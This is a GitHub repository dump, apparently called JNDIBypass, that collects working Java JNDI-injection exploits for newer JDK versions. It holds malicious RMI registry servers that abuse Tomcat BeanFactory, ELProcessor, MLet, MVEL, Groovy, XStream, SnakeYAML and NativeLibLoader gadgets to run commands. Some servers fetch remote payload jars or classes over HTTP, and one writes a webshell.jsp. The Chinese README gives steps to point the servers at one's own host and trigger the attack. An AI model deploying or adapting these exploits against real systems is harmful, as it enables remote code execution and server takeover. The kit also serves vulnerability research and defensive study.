├── org.yaml.snakeyaml.Yaml ├── src │ └── main │ │ ├── resources │ │ └── META-INF │ │ │ └── services │ │ │ └── javax.script.ScriptEngineFactory │ │ └── java │ │ └── org │ │ └── example │ │ ├── JNDITest.java │ │ ├── YamlServer.java │ │ └── File.java └── pom.xml ├── images ├── image-20240320225859934.png ├── image-20240320230209513.png ├── image-20240320230358272.png ├── image-20240320230449772.png └── image-20240320230541986.png ├── com.sun.glass.utils.NativeLibLoader ├── src │ └── main │ │ ├── resources │ │ └── META-INF │ │ │ └── MANIFEST.MF │ │ └── java │ │ └── org │ │ └── example │ │ ├── JNDITest.java │ │ └── NativeLibLoaderServer.java ├── target │ └── classes │ │ └── org │ │ └── example │ │ ├── JNDITest.class │ │ └── NativeLibLoaderServer.class └── pom.xml ├── .idea ├── .gitignore ├── vcs.xml ├── modules.xml ├── JNDIBypass.iml ├── jarRepositories.xml ├── compiler.xml ├── misc.xml ├── encodings.xml ├── artifacts │ ├── org_yaml_snakeyaml_Yaml_jar.xml │ └── org_apache_naming_factory_BeanFactory_jar.xml └── uiDesigner.xml ├── javax.management.loading.MLet ├── target │ └── classes │ │ └── org │ │ └── example │ │ ├── JNDITest.class │ │ └── MletServer.class ├── src │ └── main │ │ └── java │ │ └── org │ │ └── example │ │ ├── JNDITest.java │ │ └── MletServer.java └── pom.xml ├── ByUnserialize ├── src │ └── main │ │ └── java │ │ └── org │ │ └── example │ │ ├── JNDITest.java │ │ └── UnserializeLDAPServer.java └── pom.xml ├── org.apache.naming.factory.BeanFactory ├── src │ └── main │ │ └── java │ │ └── org │ │ └── example │ │ ├── JNDITest.java │ │ └── TomcatBeanFactoryServer.java └── pom.xml ├── org.mvel2.sh.ShellSession.exec ├── src │ └── main │ │ └── java │ │ └── org │ │ └── example │ │ ├── JNDITest.java │ │ └── MvelServer.java └── pom.xml ├── com.thoughtworks.xstream.XStream.fromXML ├── src │ └── main │ │ └── java │ │ └── org │ │ └── example │ │ ├── JNDITest.java │ │ └── XstreamServer.java └── pom.xml ├── groovy.lang.GroovyClassLoader.parseClass ├── src │ └── main │ │ └── java │ │ └── org │ │ └── example │ │ ├── JNDITest.java │ │ └── GroovyShellServer.java └── pom.xml ├── org.apache.catalina.users.MemoryUserDatabaseFactory ├── src │ └── main │ │ └── java │ │ └── org │ │ └── example │ │ ├── JNDITest_XXEServer.java │ │ ├── XXEServer.java │ │ ├── UserDataRCE_Server_windows.java │ │ └── UserDataRCE_Server_linux.java └── pom.xml └── README.md /org.yaml.snakeyaml.Yaml/src/main/resources/META-INF/services/javax.script.ScriptEngineFactory: -------------------------------------------------------------------------------- 1 | org.example.File -------------------------------------------------------------------------------- /images/image-20240320225859934.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LtmThink/JNDIBypass/HEAD/images/image-20240320225859934.png -------------------------------------------------------------------------------- /images/image-20240320230209513.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LtmThink/JNDIBypass/HEAD/images/image-20240320230209513.png -------------------------------------------------------------------------------- /images/image-20240320230358272.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LtmThink/JNDIBypass/HEAD/images/image-20240320230358272.png -------------------------------------------------------------------------------- /images/image-20240320230449772.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LtmThink/JNDIBypass/HEAD/images/image-20240320230449772.png -------------------------------------------------------------------------------- /images/image-20240320230541986.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LtmThink/JNDIBypass/HEAD/images/image-20240320230541986.png -------------------------------------------------------------------------------- /com.sun.glass.utils.NativeLibLoader/src/main/resources/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: org.example.TomcatBeanFactoryServer 3 | 4 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # 默认忽略的文件 2 | /shelf/ 3 | /workspace.xml 4 | # 基于编辑器的 HTTP 客户端请求 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /javax.management.loading.MLet/target/classes/org/example/JNDITest.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LtmThink/JNDIBypass/HEAD/javax.management.loading.MLet/target/classes/org/example/JNDITest.class -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /javax.management.loading.MLet/target/classes/org/example/MletServer.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LtmThink/JNDIBypass/HEAD/javax.management.loading.MLet/target/classes/org/example/MletServer.class -------------------------------------------------------------------------------- /com.sun.glass.utils.NativeLibLoader/target/classes/org/example/JNDITest.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LtmThink/JNDIBypass/HEAD/com.sun.glass.utils.NativeLibLoader/target/classes/org/example/JNDITest.class -------------------------------------------------------------------------------- /com.sun.glass.utils.NativeLibLoader/target/classes/org/example/NativeLibLoaderServer.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LtmThink/JNDIBypass/HEAD/com.sun.glass.utils.NativeLibLoader/target/classes/org/example/NativeLibLoaderServer.class -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/JNDIBypass.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /ByUnserialize/src/main/java/org/example/JNDITest.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | 7 | public class JNDITest { 8 | public static void main(String[] args) throws Exception { 9 | Object object=new InitialContext().lookup("ldap://127.0.0.1:4444/dc=example,dc=com"); 10 | } 11 | 12 | } 13 | 14 | -------------------------------------------------------------------------------- /org.yaml.snakeyaml.Yaml/src/main/java/org/example/JNDITest.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | 7 | public class JNDITest { 8 | public static void main(String[] args) throws NamingException { 9 | String uri = "rmi://127.0.0.1:1100/yaml"; 10 | InitialContext initialContext = new InitialContext(); 11 | initialContext.lookup(uri); 12 | } 13 | 14 | } 15 | 16 | -------------------------------------------------------------------------------- /javax.management.loading.MLet/src/main/java/org/example/JNDITest.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | 7 | public class JNDITest { 8 | public static void main(String[] args) throws NamingException { 9 | String uri = "rmi://127.0.0.1:1100/melt"; 10 | InitialContext initialContext = new InitialContext(); 11 | initialContext.lookup(uri); 12 | } 13 | 14 | } 15 | 16 | -------------------------------------------------------------------------------- /org.apache.naming.factory.BeanFactory/src/main/java/org/example/JNDITest.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | 7 | public class JNDITest { 8 | public static void main(String[] args) throws NamingException { 9 | String uri = "rmi://127.0.0.1:1100/Exploit"; 10 | InitialContext initialContext = new InitialContext(); 11 | initialContext.lookup(uri); 12 | } 13 | 14 | } -------------------------------------------------------------------------------- /org.mvel2.sh.ShellSession.exec/src/main/java/org/example/JNDITest.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | 7 | public class JNDITest { 8 | public static void main(String[] args) throws NamingException { 9 | String uri = "rmi://127.0.0.1:1100/mvel"; 10 | InitialContext initialContext = new InitialContext(); 11 | initialContext.lookup(uri); 12 | } 13 | 14 | } 15 | 16 | -------------------------------------------------------------------------------- /com.sun.glass.utils.NativeLibLoader/src/main/java/org/example/JNDITest.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | 7 | public class JNDITest { 8 | public static void main(String[] args) throws NamingException { 9 | String uri = "rmi://127.0.0.1:1100/dllLoader"; 10 | InitialContext initialContext = new InitialContext(); 11 | initialContext.lookup(uri); 12 | } 13 | 14 | } 15 | 16 | -------------------------------------------------------------------------------- /com.thoughtworks.xstream.XStream.fromXML/src/main/java/org/example/JNDITest.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | 7 | public class JNDITest { 8 | public static void main(String[] args) throws NamingException { 9 | String uri = "rmi://127.0.0.1:1100/FromXML"; 10 | InitialContext initialContext = new InitialContext(); 11 | initialContext.lookup(uri); 12 | } 13 | 14 | } 15 | 16 | -------------------------------------------------------------------------------- /groovy.lang.GroovyClassLoader.parseClass/src/main/java/org/example/JNDITest.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | 7 | public class JNDITest { 8 | public static void main(String[] args) throws NamingException { 9 | String uri = "rmi://127.0.0.1:1100/evilGroovy"; 10 | InitialContext initialContext = new InitialContext(); 11 | initialContext.lookup(uri); 12 | } 13 | 14 | } 15 | 16 | -------------------------------------------------------------------------------- /org.apache.catalina.users.MemoryUserDatabaseFactory/src/main/java/org/example/JNDITest_XXEServer.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | 7 | public class JNDITest_XXEServer { 8 | public static void main(String[] args) throws NamingException { 9 | String uri = "rmi://127.0.0.1:1100/xxe"; 10 | InitialContext initialContext = new InitialContext(); 11 | initialContext.lookup(uri); 12 | } 13 | 14 | } 15 | 16 | -------------------------------------------------------------------------------- /com.sun.glass.utils.NativeLibLoader/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | com.sun.glass.utils.NativeLibLoader 9 | 1.0-SNAPSHOT 10 | 11 | 12 | org.apache.tomcat 13 | tomcat-catalina 14 | 9.0.8 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JNDIBypass 2 | 高版本java各种JNDI Bypass方法复现+相应RMI服务端代码 3 | 4 | 关于本仓库所有的绕过方法复现使用可以看我的这篇[博客](https://ltmthink.github.io/2024/03/18/JNDIBypass/) 5 | 6 | 所有的复现都是基于[这篇文章](https://www.cnblogs.com/bitterz/p/15946406.html#11-%E6%80%9D%E8%B7%AF%E4%B8%80%E7%9A%84%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90),想要详细了解原理的可以去查看 7 | 8 | #### 将相关源码利于与远程服务端示例 9 | 10 | 以org.apache.naming.factory.BeanFactory这个类为例,进入相关目录找到相应服务端的代码 11 | 12 | ![image-20240320225859934](images/image-20240320225859934.png) 13 | 14 | 然后将所有的127.0.0.1修改为个人服务器的ip 15 | 16 | 构建工件获得相应jar包 17 | 18 | ![image-20240320230209513](images/image-20240320230209513.png) 19 | 20 | 将相应jar包上传至个人服务器,并使用`java -jar xxxx.jar`运行 21 | 22 | ![image-20240320230358272](images/image-20240320230358272.png) 23 | 24 | 修改对应JNDITest.java文件内的ip地址 25 | 26 | ![image-20240320230449772](images/image-20240320230449772.png) 27 | 28 | 运行JNDITest.jar即可触发JNDI漏洞弹出计算机 29 | 30 | ![image-20240320230541986](images/image-20240320230541986.png) 31 | -------------------------------------------------------------------------------- /javax.management.loading.MLet/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | javax.management.loading.MLet 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | UTF-8 15 | 16 | 17 | 18 | org.apache.tomcat 19 | tomcat-catalina 20 | 9.0.8 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /org.apache.catalina.users.MemoryUserDatabaseFactory/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | org.apache.catalina.users.MemoryUserDatabaseFactory 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | UTF-8 15 | 16 | 17 | 18 | org.apache.tomcat 19 | tomcat-catalina 20 | 9.0.8 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /org.apache.catalina.users.MemoryUserDatabaseFactory/src/main/java/org/example/XXEServer.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 | import org.apache.naming.ResourceRef; 5 | 6 | import javax.naming.StringRefAddr; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | 10 | public class XXEServer { 11 | public static void main(String[] args) throws Exception { 12 | System.out.println("Creating evil RMI registry on port 1100"); 13 | Registry registry = LocateRegistry.createRegistry(1100); 14 | System.setProperty("java.rmi.server.hostname", "127.0.0.1"); 15 | 16 | ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true,"org.apache.catalina.users.MemoryUserDatabaseFactory",null); 17 | ref.add(new StringRefAddr("pathname","http://127.0.0.1:7777/exp.xml")); 18 | 19 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); 20 | registry.bind("xxe", referenceWrapper); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /org.yaml.snakeyaml.Yaml/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | org.yaml.snakeyaml.Yaml 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | UTF-8 15 | 16 | 17 | 18 | org.apache.tomcat 19 | tomcat-catalina 20 | 9.0.8 21 | 22 | 23 | org.yaml 24 | snakeyaml 25 | 1.33 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /org.mvel2.sh.ShellSession.exec/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | org.mvel2.sh.ShellSession.exec 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | UTF-8 15 | 16 | 17 | 18 | org.apache.tomcat 19 | tomcat-catalina 20 | 9.0.8 21 | 22 | 23 | org.mvel 24 | mvel2 25 | 2.4.12.Final 26 | 27 | 28 | -------------------------------------------------------------------------------- /org.apache.catalina.users.MemoryUserDatabaseFactory/src/main/java/org/example/UserDataRCE_Server_windows.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 | import org.apache.naming.ResourceRef; 5 | 6 | import javax.naming.StringRefAddr; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | 10 | public class UserDataRCE_Server_windows { 11 | public static void main(String[] args) throws Exception{ 12 | System.out.println("Creating evil RMI registry on port 1100"); 13 | Registry registry = LocateRegistry.createRegistry(1100); 14 | System.setProperty("java.rmi.server.hostname", "127.0.0.1"); 15 | 16 | ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", 17 | true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); 18 | ref.add(new StringRefAddr("pathname", "http://127.0.0.1:7777/../../webapps/ROOT/webshell.jsp")); 19 | ref.add(new StringRefAddr("readonly", "false")); 20 | 21 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); 22 | registry.bind("writeFile", referenceWrapper); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /groovy.lang.GroovyClassLoader.parseClass/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | groovy.lang.GroovyClassLoader.parseClass 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | UTF-8 15 | 16 | 17 | 18 | org.codehaus.groovy 19 | groovy 20 | 2.4.3 21 | 22 | 23 | org.apache.tomcat 24 | tomcat-catalina 25 | 9.0.8 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /com.thoughtworks.xstream.XStream.fromXML/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | com.thoughtworks.xstream.XStream.fromXML 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | UTF-8 15 | 16 | 17 | 18 | org.apache.tomcat 19 | tomcat-catalina 20 | 9.0.8 21 | 22 | 23 | com.thoughtworks.xstream 24 | xstream 25 | 1.4.6 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /javax.management.loading.MLet/src/main/java/org/example/MletServer.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 | import org.apache.naming.ResourceRef; 5 | 6 | import javax.naming.StringRefAddr; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | 10 | public class MletServer { 11 | public static void main(String[] args) throws Exception { 12 | System.out.println("Creating evil RMI registry on port 1100"); 13 | Registry registry = LocateRegistry.createRegistry(1100); 14 | System.setProperty("java.rmi.server.hostname", "127.0.0.1"); 15 | ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 16 | ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass")); 17 | ref.add(new StringRefAddr("a","java.lang.Runtime")); 18 | ref.add(new StringRefAddr("b","http://127.0.0.1:2333/")); 19 | ref.add(new StringRefAddr("c","Bitterz")); 20 | 21 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); 22 | registry.bind("melt", referenceWrapper); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /org.mvel2.sh.ShellSession.exec/src/main/java/org/example/MvelServer.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 | import org.apache.naming.ResourceRef; 5 | 6 | import javax.naming.StringRefAddr; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | 10 | public class MvelServer { 11 | public static void main(String[] args) throws Exception { 12 | Registry registry = LocateRegistry.createRegistry(1100); 13 | System.setProperty("java.rmi.server.hostname", "127.0.0.1"); 14 | // 实例化Reference，指定目标类为javax.el.ELProcessor，工厂类为org.apache.naming.factory.BeanFactory 15 | ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 16 | 17 | // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码 18 | ref.add(new StringRefAddr("forceString", "a=exec")); 19 | ref.add(new StringRefAddr("a", "push Runtime.getRuntime().exec('calc');")); 20 | 21 | 22 | ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); 23 | registry.bind("mvel", referenceWrapper); // 绑定目录名 24 | System.out.println("Server Start on 1100..."); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /ByUnserialize/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | ByUnserialize 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | UTF-8 15 | 16 | 17 | 18 | com.unboundid 19 | unboundid-ldapsdk 20 | 3.2.0 21 | 22 | 23 | 24 | commons-collections 25 | commons-collections 26 | 3.2.1 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /org.yaml.snakeyaml.Yaml/src/main/java/org/example/YamlServer.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 | import org.apache.naming.ResourceRef; 5 | 6 | import javax.naming.StringRefAddr; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | 10 | public class YamlServer { 11 | public static void main(String[] args) throws Exception { 12 | Registry registry = LocateRegistry.createRegistry(1100); 13 | System.setProperty("java.rmi.server.hostname", "127.0.0.1"); 14 | 15 | ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 16 | String yaml = "!!javax.script.ScriptEngineManager [\n" + 17 | " !!java.net.URLClassLoader [[\n" + 18 | " !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]\n" + 19 | " ]]\n" + 20 | "]"; 21 | ref.add(new StringRefAddr("forceString", "a=load")); 22 | ref.add(new StringRefAddr("a", yaml)); 23 | 24 | ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); 25 | registry.bind("yaml", referenceWrapper); // 绑定目录名 26 | System.out.println("Server Start on 1100..."); 27 | } 28 | } -------------------------------------------------------------------------------- /groovy.lang.GroovyClassLoader.parseClass/src/main/java/org/example/GroovyShellServer.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 | import org.apache.naming.ResourceRef; 5 | 6 | import javax.naming.StringRefAddr; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | 10 | public class GroovyShellServer { 11 | public static void main(String[] args) throws Exception { 12 | System.out.println("Creating evil RMI registry on port 1100"); 13 | Registry registry = LocateRegistry.createRegistry(1100); 14 | System.setProperty("java.rmi.server.hostname", "127.0.0.1"); 15 | ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 16 | ref.add(new StringRefAddr("forceString", "x=parseClass")); 17 | String script = "@groovy.transform.ASTTest(value={\n" + 18 | " assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" + 19 | "})\n" + 20 | "def x\n"; 21 | ref.add(new StringRefAddr("x",script)); 22 | 23 | ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); 24 | registry.bind("evilGroovy", referenceWrapper); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /org.apache.naming.factory.BeanFactory/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | org.apache.naming.factory.BeanFactory 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | UTF-8 15 | 16 | 17 | 18 | org.apache.tomcat 19 | tomcat-dbcp 20 | 9.0.8 21 | 22 | 23 | org.apache.tomcat 24 | tomcat-catalina 25 | 9.0.8 26 | 27 | 28 | org.apache.tomcat 29 | tomcat-jasper 30 | 9.0.8 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /org.apache.naming.factory.BeanFactory/src/main/java/org/example/TomcatBeanFactoryServer.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 | import org.apache.naming.ResourceRef; 5 | 6 | import javax.naming.StringRefAddr; 7 | import java.rmi.registry.LocateRegistry; 8 | import java.rmi.registry.Registry; 9 | 10 | public class TomcatBeanFactoryServer { 11 | public static void main(String[] args) throws Exception { 12 | Registry registry = LocateRegistry.createRegistry(1100); 13 | System.setProperty("java.rmi.server.hostname", "127.0.0.1"); 14 | // 实例化Reference，指定目标类为javax.el.ELProcessor，工厂类为org.apache.naming.factory.BeanFactory 15 | ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); 16 | 17 | // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码 18 | ref.add(new StringRefAddr("forceString", "bitterz=eval")); 19 | 20 | // 指定bitterz属性指定其setter方法需要的参数，实际是ElProcessor.eval方法执行的参数，利用表达式执行命令 21 | ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); 22 | 23 | ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); 24 | registry.bind("Exploit", referenceWrapper); // 绑定目录名 25 | System.out.println("Server Start on 1100..."); 26 | } 27 | } -------------------------------------------------------------------------------- /com.sun.glass.utils.NativeLibLoader/src/main/java/org/example/NativeLibLoaderServer.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 | import org.apache.naming.ResourceRef; 5 | 6 | import javax.naming.NamingException; 7 | import javax.naming.StringRefAddr; 8 | import java.rmi.AlreadyBoundException; 9 | import java.rmi.RemoteException; 10 | import java.rmi.registry.LocateRegistry; 11 | import java.rmi.registry.Registry; 12 | /* 13 | com.sun.glass.utils.NativeLibLoader,JDK内置的动态链接库加载工具类 14 | 可以被JNDI注入利用加载恶意dll来执行任意代码 15 | 需要的条件: 16 | 1.存在JNDI注入 17 | 2.被攻击服务器存在可以被利用的.dll或者.so文件在攻击者可控制的路径下 18 | 19 | */ 20 | 21 | public class NativeLibLoaderServer { 22 | public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { 23 | Registry registry = LocateRegistry.createRegistry(1100); 24 | //攻击主机的公网ip 25 | System.setProperty("java.rmi.server.hostname", "127.0.0.1"); 26 | ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "", 27 | true, "org.apache.naming.factory.BeanFactory", null); 28 | ref.add(new StringRefAddr("forceString", "a=loadLibrary")); 29 | //不能使用绝对路径,相对路径根据不同的环境修改 30 | ref.add(new StringRefAddr("a", "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\libcmd")); 31 | 32 | ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); 33 | registry.bind("dllLoader", referenceWrapper); 34 | System.out.println("RMI Server start on 1100"); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | -------------------------------------------------------------------------------- /com.thoughtworks.xstream.XStream.fromXML/src/main/java/org/example/XstreamServer.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 | import org.apache.naming.ResourceRef; 5 | 6 | import javax.naming.NamingException; 7 | import javax.naming.StringRefAddr; 8 | import java.rmi.AlreadyBoundException; 9 | import java.rmi.RemoteException; 10 | import java.rmi.registry.LocateRegistry; 11 | import java.rmi.registry.Registry; 12 | 13 | public class XstreamServer { 14 | public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, AlreadyBoundException { 15 | Registry registry = LocateRegistry.createRegistry(1100); 16 | //攻击主机的公网ip 17 | System.setProperty("java.rmi.server.hostname", "127.0.0.1"); 18 | 19 | ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", 20 | true, "org.apache.naming.factory.BeanFactory", null); 21 | String xml = "\n"+ 22 | "\n"+ 23 | "java.lang.Comparable\n"+ 24 | "\n"+ 25 | "\n"+ 26 | "\n"+ 27 | "calc\n"+ 28 | "\n"+ 29 | "\n"+ 30 | "start\n"+ 31 | "\n"+ 32 | "\n"+ 33 | "\n"; 34 | ref.add(new StringRefAddr("forceString", "a=fromXML")); 35 | ref.add(new StringRefAddr("a", xml)); 36 | 37 | ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); 38 | registry.bind("FromXML", referenceWrapper); 39 | System.out.println("RMI Server start on 1100"); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /org.yaml.snakeyaml.Yaml/src/main/java/org/example/File.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import javax.script.ScriptEngine; 4 | import javax.script.ScriptEngineFactory; 5 | import java.io.IOException; 6 | import java.util.List; 7 | 8 | public class File implements ScriptEngineFactory { 9 | 10 | public File() { 11 | try { 12 | new java.io.IOException().printStackTrace(); 13 | java.lang.Runtime.getRuntime().exec("calc"); 14 | } catch (IOException e) { 15 | e.printStackTrace(); 16 | } 17 | } 18 | public static void main(String[] args) throws IOException { 19 | new java.io.IOException().printStackTrace(); 20 | java.lang.Runtime.getRuntime().exec("calc"); 21 | } 22 | 23 | @Override 24 | public String getEngineName() { 25 | return null; 26 | } 27 | 28 | @Override 29 | public String getEngineVersion() { 30 | return null; 31 | } 32 | 33 | @Override 34 | public List getExtensions() { 35 | return null; 36 | } 37 | 38 | @Override 39 | public List getMimeTypes() { 40 | return null; 41 | } 42 | 43 | @Override 44 | public List getNames() { 45 | return null; 46 | } 47 | 48 | @Override 49 | public String getLanguageName() { 50 | return null; 51 | } 52 | 53 | @Override 54 | public String getLanguageVersion() { 55 | return null; 56 | } 57 | 58 | @Override 59 | public Object getParameter(String key) { 60 | return null; 61 | } 62 | 63 | @Override 64 | public String getMethodCallSyntax(String obj, String m, String... 